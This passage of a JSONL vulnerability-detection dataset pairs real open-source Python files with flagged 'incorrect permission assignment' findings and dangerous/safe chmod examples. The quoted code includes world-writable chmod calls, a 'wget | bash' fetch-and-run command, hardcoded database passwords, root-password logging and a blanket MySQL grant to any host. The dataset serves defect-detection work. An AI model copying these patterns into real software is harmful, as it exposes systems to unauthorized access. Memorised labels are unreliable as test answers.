by \" + wrappaconda_name_string)\n\n    def setupMiniconda(self):\n        # anaconda website and miniconda package info\n        #   -python 3 is the default miniconda\n        MINICONDA_NAME='Miniconda3'\n        if float(self._py_ver) < 3:\n            MINICONDA_NAME='Miniconda'\n        MINICONDA_WEB='https://repo.continuum.io/miniconda/'\n        MINICONDA_OSX=MINICONDA_NAME+'-latest-MacOSX-x86_64.sh'\n\n        # download miniconda\n        try:\n            cmd = self._get.format(MINICONDA_WEB+MINICONDA_OSX)\n            print(cmd)\n            subprocess.check_output(cmd, shell=True)\n        except:\n            print(\"Failed to download miniconda.\")\n\n        # install miniconda\n        try:\n            os.chmod(self._downloads_prefix+'/'+MINICONDA_OSX, 0o777)\n            cmd = self._downloads_prefix+'/'+MINICONDA_OSX+' -b -p '+self._miniconda_prefix\n            print(cmd)\n            subprocess.check_output(cmd, shell=True)\n        except:\n            print(\"Failed to run miniconda.\")\n\n        # install central conda package\n        if self._package:\n            try:\n                python = ' python=='+self._py_ver+' '\n                conda_cmd = self._conda_path+' install -y -c '+' -c '.join(self._channel.split(','))+' '+' '.join(self._package.split(',')) + python\n                if self._root_env:\n                    conda_cmd += ' --file '+self._root_env\n                print(conda_cmd)\n                subprocess.check_output(conda_cmd, shell=True)\n                subprocess.check_output(self._conda_path+' clean -t -i -p -l -y', shell=True)\n            except:\n                print(\"Failed to run conda.\")\n                raise\n\n    def linkTarget(self):\n        # check for the existence of the target\n        try:\n            assert os.path.isfile(self._miniconda_prefix + '/bin/' + self._target)\n            os.link(self._miniconda_prefix + '/bin/' + self._target, self._macos_prefix + '/' + self._target)\n        except:\n            print(self._target, ' doesn\\'t exist in Miniconda bin.')\n            raise \n\ndef main():\n    make = AppAtizer()\n    make.deleteExistingApp()\n    make.buildAppSkeleton()\n    make.writeWrappacondaIDFile()\n    make.copyIconFile()\n    make.setupMiniconda()\n    make.linkTarget()\n    make.writeInfoPList()\n    make.writePkgInfo()\n    print(make.appPath() + \" has been created.\")\n\nif __name__ == '__main__':\n    main()", "dangerousExampleEn": "1. def write_file():\n2. \tos.chmod('/root/system_config', 0o777)\n3. \n4.     with open(\"/root/system_config\", 'w') as f:\n5. \t\tf.write(\"your config is broken\")\nLine 2: This is insecure because Read, Write, and Execute permissions are granted to all users.", "safeExampleEn": "1. def write_file():\n2. \tos.chmod('/root/system_config', 0o700)\n3. \n4.     with open(\"/root/system_config\", 'w') as f:\n5. \t\tf.write(\"your config is broken\")\nLine 2: This is secure because full privileges are granted to its owner alone.", "contexts": [{"lineNo": 208, "eventType": "sink", "messageKey": "pythonchk.INCORRECT_PERMISSION_ASSIGNMENT_FOR_CRITICAL_RESOURCE.PYTHON.defect.chmod", "params": {}}]}}
{"id": "600b236e8ec690f7311f98529d723310246d02eaf091d18f0b4e8b408d0ec274", "license": {"spdx": ["Apache-2.0"], "repo": "wang542/cloudmesh-cloud", "path": "cloudmesh/key/Key.py", "repo_head_hexsha": "f09f823172afedf55c008a5094b005eef6697551", "stack_hexsha": "1a3702be15ebcb4bd15bdff000d4d69a1406a580", "match": "exact_blob"}, "input": {"fileExtension": ".py", "programmingLanguage": "Python", "issueNameEn": "Incorrect Authorization for Critical Resources", "issueDescriptionEn": "If accesses to Read or Modify modes are unintentionally granted for security-related resources by an application, the resources may be used by unauthorized users.\nPython's `os.fchmod`, `os.chmod`, and other functions are used to grant a user access to file creation, Read Mode, etc.\nSet permissions to allow only SW administrators to read and write configuration files, executable files, libraries, etc.", "issueLineNumber": 23, "entireCode": "# See also the methods already implemented we have in cm for ssh management\n# I think you reimplemented things that already exists.\n\n# see and inspect cloudmesh.common\nimport os\nfrom os.path import expanduser\n# see content of path_expand it does expanduser as far as I know\nfrom cloudmesh.common.util import path_expand\nfrom cloudmesh.management.configuration.SSHkey import SSHkey\nfrom cloudmesh.mongo.DataBaseDecorator import DatabaseUpdate\nfrom cloudmesh.common.debug import VERBOSE\nfrom pprint import pprint\nfrom cloudmesh.configuration.Config import Config\n\n# noinspection PyPep8Naming\nclass Key(object):\n\n    @classmethod\n    def get_from_dir(cls, directory=None, store=True):\n        directory = directory or path_expand(\"~/.ssh\")\n        # find way that also works on windows, code always must work on windows\n        # and Linux, if not you need to have if condition\n        os.system(\"chmod 700 $HOME /.ssh\")\n        files = [file for file in os.listdir(expanduser(path_expand(directory)))\n                 if file.lower().endswith(\".pub\")]\n        d = []\n        for file in files:\n            print(file)\n            path = directory + \"/\" + file\n            # find way that also works on windows, code always must work on\n            # windows and Linux, if not you need to have if condition\n\n            os.system(\"chmod 700 $HOME /.ssh\")\n            with open(path) as fd:\n                for pubkey in map(str.strip, fd):\n                    # skip empty lines\n                    if not pubkey:\n                        continue\n                    print(pubkey)\n                    d.append(pubkey)\n\n        return d\n\n    @DatabaseUpdate()\n    def add(self, name, source):\n        \"\"\"\n        key add [NAME] [--source=FILENAME]\n        key add [NAME] [--source=git]\n        key add [NAME] [--source=ssh]\n        \"\"\"\n        keys = None\n        if source == \"git\":\n            config = Config()\n            username = config[\"cloudmesh.profile.github\"]\n            keys = SSHkey().get_from_git(username)\n\n        elif source == \"ssh\":\n            key = SSHkey(name=name)\n            keys = [key]\n\n        else:\n            raise NotImplementedError\n            # source is filename\n\n        return keys\n\nif __name__ == \"__main__\":\n    Key.get_from_dir(None, True)", "dangerousExampleEn": "1. def write_file():\n2. \tos.chmod('/root/system_config', 0o777)\n3. \n4.     with open(\"/root/system_config\", 'w') as f:\n5. \t\tf.write(\"your config is broken\")\nLine 2: This is insecure because Read, Write, and Execute permissions are granted to all users.", "safeExampleEn": "1. def write_file():\n2. \tos.chmod('/root/system_config', 0o700)\n3. \n4.     with open(\"/root/system_config\", 'w') as f:\n5. \t\tf.write(\"your config is broken\")\nLine 2: This is secure because full privileges are granted to its owner alone.", "contexts": [{"lineNo": 23, "eventType": "sink", "messageKey": "pythonchk.INCORRECT_PERMISSION_ASSIGNMENT_FOR_CRITICAL_RESOURCE.PYTHON.defect.chmod", "params": {}}]}}
{"id": "62e5b8b61c6c9b87816680bed0c301ce2ee773ccf53562d3d160d6a150922270", "license": {"spdx": ["Apache-2.0"], "repo": "lukaslihotzki/synapse", "path": "synapse/util/daemonize.py", "repo_head_hexsha": "1dfdc87b9bb07cc3c958dde7f41f2af4322477e5", "stack_hexsha": "31b24dd18882a8f7e13321a70ed2f5b364dae2fb", "match": "repo_path"}, "input": {"fileExtension": ".py", "programmingLanguage": "Python", "issueNameEn": "Incorrect Authorization for Critical Resources", "issueDescriptionEn": "If accesses to Read or Modify modes are unintentionally granted for security-related resources by an application, the resources may be used by unauthorized users.\nPython's `os.fchmod`, `os.chmod`, and other functions are used to grant a user access to file creation, Read Mode, etc.\nSet permissions to allow only SW administrators to read and write configuration files, executable files, libraries, etc.", "issueLineNumber": 107, "entireCode": "# Copyright (c) 2012, 2013, 2014  <>\n# Copyright 2020 The Matrix.org Foundation C.I.C.\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n#     http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n\nimport atexit\nimport fcntl\nimport logging\nimport os\nimport signal\nimport sys\n\n\ndef daemonize_process(pid_file: str, logger: logging.Logger, chdir: str = \"/\") -> None:\n    \"\"\"daemonize the current process\n\n    This calls fork(), and has the main process exit. When it returns we will be\n    running in the child process.\n    \"\"\"\n\n    # If pidfile already exists, we should read pid from there; to overwrite it, if\n    # locking will fail, because locking attempt somehow purges the file contents.\n    if os.path.isfile(pid_file):\n        with open(pid_file, \"r\") as pid_fh:\n            old_pid = pid_fh.read()\n\n    # Create a lockfile so that only one instance of this daemon is running at any time.\n    try:\n        lock_fh = open(pid_file, \"w\")\n    except IOError:\n        print(\"Unable to create the pidfile.\")\n        sys.exit(1)\n\n    try:\n        # Try to get an exclusive lock on the file. This will fail if another process\n        # has the file locked.\n        fcntl.flock(lock_fh, fcntl.LOCK_EX | fcntl.LOCK_NB)\n    except IOError:\n        print(\"Unable to lock on the pidfile.\")\n        # We need to overwrite the pidfile if we got here.\n        #\n        # XXX better to avoid overwriting it, surely. this looks racey as the pid file\n        # could be created between us trying to read it and us trying to lock it.\n        with open(pid_file, \"w\") as pid_fh:\n            pid_fh.write(old_pid)\n        sys.exit(1)\n\n    # Fork, creating a new process for the child.\n    process_id = os.fork()\n\n    if process_id != 0:\n        # parent process: exit.\n\n        # we use os._exit to avoid running the atexit handlers. In particular, that\n        # means we don't flush the logs. This is important because if we are using\n        # a MemoryHandler, we could have logs buffered which are now buffered in both\n        # the main and the child process, so if we let the main process flush the logs,\n        # we'll get two copies.\n        os._exit(0)\n\n    # This is the child process. Continue.\n\n    # Stop listening for signals that the parent process receives.\n    # This is done by getting a new process id.\n    # setpgrp() is an alternative to setsid().\n    # setsid puts the process in a new parent group and detaches its controlling\n    # terminal.\n\n    os.setsid()\n\n    # point stdin, stdout, stderr at /dev/null\n    devnull = \"/dev/null\"\n    if hasattr(os, \"devnull\"):\n        # Python has set os.devnull on this system, use it instead as it might be\n        # different than /dev/null.\n        devnull = os.devnull\n\n    devnull_fd = os.open(devnull, os.O_RDWR)\n    os.dup2(devnull_fd, 0)\n    os.dup2(devnull_fd, 1)\n    os.dup2(devnull_fd, 2)\n    os.close(devnull_fd)\n\n    # now that we have redirected stderr to /dev/null, any uncaught exceptions will\n    # get sent to /dev/null, so make sure we log them.\n    #\n    # (we don't normally expect reactor.run to raise any exceptions, but this will\n    # also catch any other uncaught exceptions before we get that far.)\n\n    def excepthook(type_, value, traceback):\n        logger.critical(\"Unhanded exception\", exc_info=(type_, value, traceback))\n\n    sys.excepthook = excepthook\n\n    # Set umask to default to safe file permissions when running as a root daemon. 027\n    # is an octal number which we are typing as 0o27 for Python3 compatibility.\n    os.umask(0o27)\n\n    # Change to a known directory. If this isn't done, starting a daemon in a\n    # subdirectory that needs to be deleted results in \"directory busy\" errors.\n    os.chdir(chdir)\n\n    try:\n        lock_fh.write(\"%s\" % (os.getpid()))\n        lock_fh.flush()\n    except IOError:\n        logger.error(\"Unable to write pid to the pidfile.\")\n        print(\"Unable to write pid to the pidfile.\")\n        sys.exit(1)\n\n    # write a log line on SIGTERM.\n    def sigterm(signum, frame):\n        logger.warning(\"Caught signal %s. Stopping daemon.\" % signum)\n        sys.exit(0)\n\n    signal.signal(signal.SIGTERM, sigterm)\n\n    # Cleanup pid file at exit.\n    def exit():\n        logger.warning(\"Stopping daemon.\")\n        os.remove(pid_file)\n        sys.exit(0)\n\n    atexit.register(exit)\n\n    logger.warning(\"Starting daemon.\")", "dangerousExampleEn": "1. def write_file():\n2. \tos.chmod('/root/system_config', 0o777)\n3. \n4.     with open(\"/root/system_config\", 'w') as f:\n5. \t\tf.write(\"your config is broken\")\nLine 2: This is insecure because Read, Write, and Execute permissions are granted to all users.", "safeExampleEn": "1. def write_file():\n2. \tos.chmod('/root/system_config', 0o700)\n3. \n4.     with open(\"/root/system_config\", 'w') as f:\n5. \t\tf.write(\"your config is broken\")\nLine 2: This is secure because full privileges are granted to its owner alone.", "contexts": [{"lineNo": 107, "eventType": "sink", "messageKey": "pythonchk.INCORRECT_PERMISSION_ASSIGNMENT_FOR_CRITICAL_RESOURCE.PYTHON.defect.umask", "params": {}}]}}
{"id": "b48aa8cccbe099b5a6af2ef9402a2d7962657ad171563998345ba7dd21006d74", "license": {"spdx": ["Apache-2.0"], "repo": "gola/Tars", "path": "deploy/comm/tarsDeploy.py", "repo_head_hexsha": "1b8a29a59f1104b6bb16bde5fb2b1de3c5d8cfbd", "stack_hexsha": "189d85594f38ea3f913d593be6912f95270eabba", "match": "repo_path"}, "input": {"fileExtension": ".py", "programmingLanguage": "Python", "issueNameEn": "Incorrect Authorization for Critical Resources", "issueDescriptionEn": "If accesses to Read or Modify modes are unintentionally granted for security-related resources by an application, the resources may be used by unauthorized users.\nPython's `os.fchmod`, `os.chmod`, and other functions are used to grant a user access to file creation, Read Mode, etc.\nSet permissions to allow only SW administrators to read and write configuration files, executable files, libraries, etc.", "issueLineNumber": 39, "entireCode": "#!/usr/bin/python\n# encoding: utf-8\nimport tarsLog\nimport shutil\nimport os\nimport sys\nimport stat\nfrom tarsUtil import *\nlog = tarsLog.getLogger()\ntarsDeploy = \"/usr/local/app/tars\"\ntarsDeployFrameBasicServerList = [\"tarsregistry\", \"tarsnode\", \"tarsAdminRegistry\", \"tarspatch\",\"tarsconfig\"]\ntarsDeployFrameCommServerList = [\"tarsnotify\", \"tarsstat\", \"tarsproperty\", \"tarsquerystat\", \"tarsqueryproperty\", \"tarslog\", \"tarsauth\"]\nbaseDir = getBaseDir()\ndef do():\n    log.infoPrint(\"initDB start ...\")\n    initDB()\n    log.infoPrint(\"initDB success \")\n    log.infoPrint(\"deploy frameServer start ...\")\n    deployFrameServer()\n    log.infoPrint(\"deploy frameServer success \")\n    log.infoPrint(\"deploy web start ... \")\n    deployWeb()\n    log.infoPrint(\"deploy web success\")\n    return\n\ndef getDBDir():\n    dbDir = baseDir+\"/framework/sql/\"\n    return dbDir\n\ndef deployFrameServer():\n    for server in tarsDeployFrameBasicServerList:\n        srcDir = \"{}/framework/build/deploy/{}\".format(baseDir,server)\n        confDir = \"{}/framework/deploy/{}\".format(baseDir,server)\n        dstDir = \"/usr/local/app/tars/{}\".format(server)\n        log.infoPrint(\" deploy {} start srcDir is {} , confDir is {} , dstDir is {}  \".format(server,srcDir,confDir,dstDir))\n        copytree(srcDir,dstDir)\n        copytree(confDir,dstDir)\n        updateConf(server)\n        os.chmod(dstDir+\"/util/start.sh\",stat.S_IXGRP)\n        doCmd(dstDir+\"/util/start.sh\".format(server))\n        log.infoPrint(\" deploy {}  sucess\".format(server))\n\n    for server in tarsDeployFrameCommServerList:\n        srcDir = \"{}/framework/build/deploy/{}\".format(baseDir,server)\n        confDir = \"{}/framework/deploy/{}\".format(baseDir, server)\n        dstDir = \"/usr/local/app/tars/{}\".format(server)\n        dstBinDir = \"/usr/local/app/tars/{}/bin/\".format(server)\n        log.infoPrint(\" deploy {} start srcDir is {} , confDir is {} , dstDir is {}  \".format(server, srcDir, confDir, dstDir))\n        if not os.path.exists(dstBinDir):\n            os.makedirs(dstBinDir)\n        shutil.copy(srcDir+\"/\"+server,dstBinDir+\"/\"+server)\n        copytree(confDir,dstDir)\n        updateConf(server)\n        os.chmod(dstDir+\"/util/start.sh\",stat.S_IXGRP)\n        doCmd(dstDir+\"/util/start.sh\".format(server))\n    return\n\ndef updateConf(server):\n    mysqlHost = getCommProperties(\"mysql.host\")\n    localIp = getLocalIp()\n    replaceConf(\"/usr/local/app/tars/{}/conf/tars.{}.config.conf\".format(server,server),\"localip.tars.com\",localIp)\n    replaceConf(\"/usr/local/app/tars/{}/conf/tars.{}.config.conf\".format(server, server), \"192.168.2.131\", localIp)\n    replaceConf(\"/usr/local/app/tars/{}/conf/tars.{}.config.conf\".format(server, server), \"db.tars.com\", mysqlHost)\n    replaceConf(\"/usr/local/app/tars/{}/conf/tars.{}.config.conf\".format(server, server), \"registry.tars.com\", localIp)\n    replaceConf(\"/usr/local/app/tars/{}/conf/tars.{}.config.conf\".format(server, server), \"10.120.129.226\", localIp)\n    if \"tarsnode\" == server:\n        replaceConf(\"/usr/local/app/tars/{}/util/execute.sh\".format(server, server), \"registry.tars.com\", localIp)\n    return\n\ndef deployWeb():\n    mysqlHost = getCommProperties(\"mysql.host\")\n    localIp = getLocalIp()\n    result = doCmdIgnoreException(\"nvm --version\")\n    if result[\"status\"] != 0:\n        log.infoPrint(\"install nvm start...\")\n        doCmd(\"wget -qO- https://raw.githubusercontent.com/creationix/nvm/v0.33.11/install.sh | bash \")\n        log.infoPrint(\"install nvm success\")\n    else:\n        log.infoPrint(\"nvm version  is {}\".format(result[\"output\"]))\n    result = doCmdIgnoreException(\"node --version\")\n    if result[\"status\"] != 0:\n        log.infoPrint(\"install node start...\")\n        doCmd(\" export NVM_DIR=\\\"$HOME/.nvm\\\";[ -s \\\"$NVM_DIR/nvm.sh\\\" ] && \\. \\\"$NVM_DIR/nvm.sh\\\";source /etc/profile && nvm install v8.11.3\")\n        log.infoPrint(\"install node success\")\n    else:\n        log.infoPrint(\"node version  is {}\".format(result[\"output\"]))\n    result = doCmdIgnoreException(\"pm2 --version\")\n    if result[\"status\"] != 0:\n        doCmd(\"export NVM_DIR=\\\"$HOME/.nvm\\\";[ -s \\\"$NVM_DIR/nvm.sh\\\" ] && \\. \\\"$NVM_DIR/nvm.sh\\\";source /etc/profile &&  npm install -g pm2 --registry=https://registry.npm.taobao.org\")\n    else:\n        log.infoPrint(\" pm2 version  is {}\".format(result[\"output\"]))\n\n    replaceConf(\"/usr/local/app/web/config/tars.conf\", \"registry.tars.com\", localIp)\n    replaceConf(\"/usr/local/app/web/config/webConf.js\", \"db.tars.com\", mysqlHost)\n\n    doCmd(\"cd /usr/local/app/web;export NVM_DIR=\\\"$HOME/.nvm\\\";[ -s \\\"$NVM_DIR/nvm.sh\\\" ] && \\. \\\"$NVM_DIR/nvm.sh\\\";source /etc/profile && npm install --registry=https://registry.npm.taobao.org;npm run prd\")\n    return\n\ndef initDB():\n    dbDir=getDBDir()\n    mysqlHost = getCommProperties(\"mysql.host\")\n    mysqlPort = getCommProperties(\"mysql.port\")\n    mysqlRootPassWord = getCommProperties(\"mysql.root.password\")\n    localIp = getLocalIp()\n    log.info(\" dbDir is{} , mysqlHost is {} , mysqlPort is {} mysqlRootPassWord is {} ,localIp is {} \".format(dbDir,mysqlHost,mysqlPort,mysqlRootPassWord,localIp))\n    doCmd(\"mysql -uroot -p{}  -e \\\"grant all on *.* to 'tars'@'%' identified by 'tars2' with grant option;flush privileges;\\\"\".format(mysqlRootPassWord))\n    log.info(\" the mysqlHost is {} , mysqlPort is {},  mysqlRootPassWord is {}\".format(mysqlHost,mysqlPort,mysqlRootPassWord))\n\n    replaceConfDir(dbDir, \"192.168.2.131\", localIp)\n    replaceConfDir(dbDir, \"db.tars.com\", mysqlHost)\n    replaceConfDir(dbDir, \"10.120.129.226\", localIp)\n\n\n    doCmd(\"mysql -utars -ptars2015 -e 'drop database if exists db_tars;create database db_tars'\")\n    doCmd(\"mysql -utars -ptars2015 -e 'drop database if exists tars_stat;create database tars_stat'\")\n    doCmd(\"mysql -utars -ptars2015 -e 'drop database if exists tars_property;create database tars_property'\")\n    doCmd(\"mysql -utars -ptars2015 -e 'drop database if exists db_tars_web;create database db_tars_web'\")\n\n    doCmd(\"mysql -utars -ptars2015 db_tars < {}/db_tars.sql\".format(dbDir))\n    doCmd(\"mysql -utars -ptars2015 db_tars -e 'truncate table t_server_conf;truncate table t_adapter_conf;truncate table t_node_info;truncate table t_registry_info '\")\n    doCmd(\"mysql -utars -ptars2015 db_tars < {}/tarsconfig.sql\".format(dbDir))\n    doCmd(\"mysql -utars -ptars2015 db_tars < {}/tarslog.sql\".format(dbDir))\n    doCmd(\"mysql -utars -ptars2015 db_tars < {}/tarspatch.sql\".format(dbDir))\n    doCmd(\"mysql -utars -ptars2015 db_tars < {}/tarsproperty.sql\".format(dbDir))\n    doCmd(\"mysql -utars -ptars2015 db_tars < {}/tarsqueryproperty.sql\".format(dbDir))\n    doCmd(\"mysql -utars -ptars2015 db_tars < {}/tarsquerystat.sql\".format(dbDir))\n    doCmd(\"mysql -utars -ptars2015 db_tars < {}/tarsstat.sql\".format(dbDir))\n    doCmd(\"mysql -utars -ptars2015 db_tars < {}/tarsnotify.sql\".format(dbDir))\n    doCmd(\"mysql -utars -ptars2015 db_tars_web < {}/t_tars_files.sql\".format(dbDir))\n    return\n\nif __name__ == '__main__':\n    pass", "dangerousExampleEn": "1. def write_file():\n2. \tos.chmod('/root/system_config', 0o777)\n3. \n4.     with open(\"/root/system_config\", 'w') as f:\n5. \t\tf.write(\"your config is broken\")\nLine 2: This is insecure because Read, Write, and Execute permissions are granted to all users.", "safeExampleEn": "1. def write_file():\n2. \tos.chmod('/root/system_config', 0o700)\n3. \n4.     with open(\"/root/system_config\", 'w') as f:\n5. \t\tf.write(\"your config is broken\")\nLine 2: This is secure because full privileges are granted to its owner alone.", "contexts": [{"lineNo": 39, "eventType": "sink", "messageKey": "pythonchk.INCORRECT_PERMISSION_ASSIGNMENT_FOR_CRITICAL_RESOURCE.PYTHON.defect.chmod", "params": {}}]}}
{"id": "f483b4baa4c3a31c630ac322103062cfc46eb04a397ba010f422be83ea8ca95a", "license": {"spdx": ["MIT"], "repo": "VitorSantos1/python-cli-utilities", "path": "lib/python_shell_utilities.py", "repo_head_hexsha": "28a67aa5ccaae9daf8aac783f3ac1828f49840d4", "stack_hexsha": "3d5cda9ead296c203e5e99d71c84637e3c3677b5", "match": "repo_path"}, "input": {"fileExtension": ".py", "programmingLanguage": "Python", "issueNameEn": "Incorrect Authorization for Critical Resources", "issueDescriptionEn": "If accesses to Read or Modify modes are unintentionally granted for security-related resources by an application, the resources may be used by unauthorized users.\nPython's `os.fchmod`, `os.chmod`, and other functions are used to grant a user access to file creation, Read Mode, etc.\nSet permissions to allow only SW administrators to read and write configuration files, executable files, libraries, etc.", "issueLineNumber": 193, "entireCode": "# All functions to improve Python interaction with shells must be placed here.\n#\n# Author:  <>\n\nimport subprocess, sys, platform, shutil, stat, errno, re, os, distutils.dir_util, glob, getpass, zipfile, filecmp\n\n######################  SHELL INTERACTION   ######################\n\n# Print message before exit\ndef exit_script(message):\n    print(message)\n    sys.exit()\n\n# Verify if parameter is a string\ndef string_verifier(parameter):\n    if type(parameter) is not str:\n        exit_script(\"Please insert a string for command shell in order to execute it.\")  \n\n# Function to execute commands\ndef execute_command(command, raise_exception=False):\n    string_verifier(command)\n\n    try:    \n        subprocess.run(command, shell=True, stderr=subprocess.PIPE)\n    except subprocess.CalledProcessError as e:\n        if raise_exception:\n            raise\n        else:\n            return e.returncode\n    else:\n        return 0\n\n# Prompt for user input \ndef user_input(input_message, password_input=False):\n    user_input = \"\"\n\n    # Check python version and use its own input function\n    while user_input == \"\":\n        user_input = getpass.getpass(input_message) if password_input else (str(input(input_message)))\n    \n    return user_input\n\n# Return arguments as a Python array\ndef get_arguments():\n    # In this case, sys.argv[0] is the name of the script\n    return sys.argv[1:]\n\n# Return arguments as a Python array and detect inconsistencies\ndef parse_arguments(command_usage): \n    arguments = get_arguments()\n\n    if len(arguments) == 0:\n        exit_script(command_usage)\n    \n    return arguments\n\n# Check if user prompt is an equivalent to \"yes\"\ndef user_prompt_yes(answer=\"\"):\n    return True if answer == \"yes\" or answer == \"y\" else False\n\n# Check if user prompt is an equivalent to \"no\"\ndef user_prompt_no(answer=\"\"):\n    return True if answer == \"no\" or answer == \"n\" else False\n\n######################  FILE SYSTEM INTERACTION   ######################\n\n# Callable function from remove_tree function\ndef fix_permissions_and_retry(func, path, exc_info):\n    if not os.access(path, os.W_OK):\n        try:\n            os.chmod(path, stat.S_IWUSR | stat.S_IWGRP | stat.S_IWOTH)\n            func(path)\n        except OSError as e:\n            if e.errno == 2:\n                print(\"No such file or directory. Script will carry on.\")\n    else:\n        raise IOError(\"It was not possible to convert permissions in order to edit the file system.\")\n\n# Remove folder with children\ndef remove_tree(path):\n    shutil.rmtree(path, onerror=fix_permissions_and_retry)\n\n# Remove file\ndef remove_file(file_path):\n    try:\n        os.remove(file_path)\n    except OSError as e:\n        if e.errno == errno.ENOENT:\n            print(\"File doesn't exist. Script will carry on.\")\n        else:\n            raise\n\n# Check if path exists or not. It can be a directory or a file. Wildcards supported.\ndef check_if_path_exists(path):\n    return True if glob.glob(path) else False\n\n# Check if entity (file or directory) exists. If not, it will be created. Paths must be absolute\ndef check_entity_and_create(path, type):\n    if not check_if_path_exists(path):\n        if type == \"directory\":\n            os.makedirs(path, mode=0o774)\n        elif type == \"file\":\n            check_entity_and_create(path, \"directory\")\n            open(path, \"w\").close()\n\n# Copy file to destination, making sure all parent directories exist. Paths must be absolute\ndef copy_file(source_path, dest_path):\n    check_entity_and_create('dest_path', \"directory\")\n    shutil.copy(source_path, dest_path)\n\n# Check if destination file exists. If not, the source file will be copied to destination\ndef check_dest_file_and_copy(source_path, dest_path):\n    if not check_if_path_exists(dest_path):\n        copy_file(source_path, dest_path)\n\n# Copy files and folders recursively to a destination path. Paths must be absolute\ndef copy_tree_recursively(root_source_path, dest_path):\n    if check_if_path_exists(root_source_path):\n        check_entity_and_create(dest_path, \"directory\")\n        distutils.dir_util.copy_tree(root_source_path, dest_path)\n    else:\n        print(\"Root directory doesn't exist. Script will carry on.\")\n\n# Get children from directory. They can be all types of children or files or directories exclusively. Wildcards not supported. Paths must be absolute\ndef get_children_from_directory(path, children_type=\"all\"):\n    if check_if_path_exists(path) and os.path.isdir(path):\n        if children_type == \"directory\":\n            return [path + f + \"/\" for f in os.listdir(path) if os.path.isdir(os.path.join(path, f))]\n        elif children_type == \"file\":\n            return [path + f for f in os.listdir(path) if os.path.isfile(os.path.join(path, f))]    \n        else:\n            return [(path + f + \"/\" if os.path.isdir(os.path.join(path, f)) else path + f) for f in os.listdir(path)] \n    else:\n        exit_script(\"Directory doesn't exist.\")\n\n# Get tree from path provided with wildcards. The wildcard must be used at the end of the path. Paths must be absolute\ndef get_tree_from_wildcard_path(path):\n    tree = []\n    array_of_directories = glob.glob(path)\n\n    for directory in array_of_directories:\n        tree.append(get_children_from_directory(directory))\n\n    return array_of_directories\n\n# Rename files and directories\ndef rename_path_file_directory(old_name=\"\", new_name=\"\"):\n    os.rename(old_name, new_name) if check_if_path_exists(old_name) else None\n\n######################  TEXT MANIPULATION   ######################\n\n# Replace text detected in a regex pattern with a new string, given a file path\ndef replace_text_in_files_regex(file_path, pattern, new_string):\n    # Read contents from file as a single string\n    file_string = read_file_to_string(file_path)\n\n    # Use RE package to allow for replacement (also allowing for (multiline) REGEX)\n    file_string = re.sub(pattern, new_string, file_string)\n\n    # Write contents to file.\n    write_string_to_file(file_path, file_string)\n\n# Read contents from file as a single string\ndef read_file_to_string(file_path):\n    with open(file_path, \"r\") as opened_file:\n        output_string = opened_file.read()\n        return output_string\n\n# Concatenate file in destination path with the contents of file in source path\ndef concatenate_text_files(source_path, dest_path):\n    with open(source_path) as source_file:\n        with open(dest_path, 'w') as dest_file:\n            dest_file.write(source_file.read())\n\n# Write string provided as a parameter to a file\ndef write_string_to_file(file_path, string=\"\"):\n    with open(file_path, \"w\") as opened_file:\n        opened_file.write(string) \n\n# Copy lines matched by pattern from file in source path to file in destination path\ndef copy_line_to_file(source_path, pattern, dest_path):\n    with open(source_path) as source_file:\n        pattern_detector = re.compile(pattern)\n        detected_lines = []\n\n        # Import all detected lines to array\n        for line in enumerate(source_file):\n            if not pattern_detector.match(line[1]) == None:\n                detected_lines.append(line[1])\n        \n        # Create file and write detected lines to file\n        check_entity_and_create(dest_path, \"file\")\n        os.chmod(dest_path, stat.S_IWRITE)\n        with open(dest_path, 'a') as dest_file:\n            for line in detected_lines:\n                dest_file.write(line)\n\n######################  ZIP/UNZIP FILES   ######################\n\n# Zip an array of files into a file provided as a path\ndef create_zip_file_with_files(zip_file_path, entities_array=[], is_recursive=False):\n    check_entity_and_create(zip_file_path, \"file\")\n    \n    with zipfile.ZipFile(zip_file_path, \"w\") as new_zip:\n        for entity in entities_array:\n            if check_if_path_exists(entity) and os.path.isdir(entity):\n                zip_entities_to_zip_file(entity, new_zip, is_recursive)\n            else:\n                new_zip.write(entity)       \n\n# Function that zips files and directories to zip. It can be recursive to child directories\ndef zip_entities_to_zip_file(entity, new_zip, is_recursive=False):\n    for dirpath, dirnames, filenames in os.walk(entity):\n        new_zip.write(dirpath)\n\n        for filename in filenames:\n            new_zip.write(os.path.join(dirpath, filename))\n\n        if (not dirnames == [] and not dirnames == None) and is_recursive:\n            for dirname in dirnames:\n                zip_entities_to_zip_file(dirname, new_zip, is_recursive)\n\n# Extract a zip file to a provided directory\ndef extract_zip_content(zip_file_path, dir_to_extract):\n    with zipfile.ZipFile(zip_file_path, \"r\") as zip_file:\n        zip_file.extractall(dir_to_extract)", "dangerousExampleEn": "1. def write_file():\n2. \tos.chmod('/root/system_config', 0o777)\n3. \n4.     with open(\"/root/system_config\", 'w') as f:\n5. \t\tf.write(\"your config is broken\")\nLine 2: This is insecure because Read, Write, and Execute permissions are granted to all users.", "safeExampleEn": "1. def write_file():\n2. \tos.chmod('/root/system_config', 0o700)\n3. \n4.     with open(\"/root/system_config\", 'w') as f:\n5. \t\tf.write(\"your config is broken\")\nLine 2: This is secure because full privileges are granted to its owner alone.", "contexts": [{"lineNo": 193, "eventType": "sink", "messageKey": "pythonchk.INCORRECT_PERMISSION_ASSIGNMENT_FOR_CRITICAL_RESOURCE.PYTHON.defect.chmod", "params": {}}]}}
